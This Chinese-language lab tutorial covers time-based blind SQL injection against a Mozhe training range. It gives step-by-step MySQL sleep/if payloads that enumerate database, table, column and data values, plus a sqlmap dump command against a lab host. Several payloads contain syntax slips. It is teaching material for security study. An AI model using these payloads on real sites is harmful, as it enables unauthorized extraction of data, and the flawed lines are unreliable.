延时注入又称时间盲注,也是盲注的一种。通过构造延时注入语句后,浏览器页面的响应时间来判断正确的数据
应用场景:当布尔盲注失效的情况下,这个时候可以通过and sleep(5)来判断一下页面的响应时间,相应时间在五秒多一点的话,说明此处可以使用延时注入。
在实际测试中禁止使用延时盲注,因为会影响厂商的实际业务运行,当年某人注入了一个sleep(10)后,就被请去喝茶了,建议不要轻易使用延时盲注。
substr(database(),1,1)数据库名称中截取 从第一位开始截取 截取长度为1
ascii() 返回字符串最左边字符的ASCII值
if(语句1,语句2,语句3) 如果语句1正确执行语句2,否则执行语句3
墨者靶场:SQL注入漏洞测试(时间盲注)_SQL注入_在线靶场_墨者学院 https://www.mozhe.cn/bug/detail/ZEZ4REhOck9KMnVKMjFLTitQWFg5dz09bW96aGUmozhe
测试注入点
常规思路
1.测速单引号,网页没有报错信息,放弃联合查询的方式
2.测试布尔盲注,网页没有false,true的变化
3.测试延时盲注
延时注入的测试效果检查可以在浏览器右击检查可以看到数据包的返回时长来验证是否发生了延时
1.判断是否存在延时注入 及 注入类型判断
?id=1' and sleep(5) --+ 根据休眠时间判断
如果延时五秒,说明注入类型是字符型
2.判断数据库的长度
and if (length(database))>数值,sleep(5),1) #是否大于10
3.判断第一个字符是什么
and if(ascii(substr(database(),1,1))>数值,sleep(5),1) #是否是字母
确定他的ascii值是多少,对应一个字符
4.确定表的数量
and if((select count(table_name) from information_schema.tables where table_schema = database())=数值,sleep(5),1)
5.确定第一个表名的长度
and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=数值,sleep(5),1)
6.判断第一个表名的第一个字符
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>数值,sleep(5),1)
7.判断当前表有多少个字段
and if(length((select count(column_name) from information_schema.columns where table_schema=database() and table_name = ‘表名’ limit 0,1))=数值,sleep(5),1) --+
8.判断第一个字段的长度
and if(length((select column_name from information_schema.columns where table_schema =database() and table_name=‘表名’ limit 0,1) ,1,1)) =数值,sleep(5),1)
9.判断第一个字段的第一个字符
if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1),1,1))=数值,sleep(5),1)
10.根据以上信息查询数据
判断数据长度
and if(length((select 字段名 from 表名 limit 0,1))=数值,sleep(5),1)–+
判断数据的字符
and if(ascii(substr((select 字段名 from 表名 limit 0,1),1))=数值,sleep(5),1
这个过程测试起来是很麻烦的,建议使用SQLMap进行测试
python sqlmap.py -u "http://124.70.71.251:45379/flag.php?type=1" --batch -D pentesterlab -T flag -C flag,id --dump
时间盲注适合在布尔注入都失效的情况,结合sleep,if(,,)基于数据包返回时间测试的方法。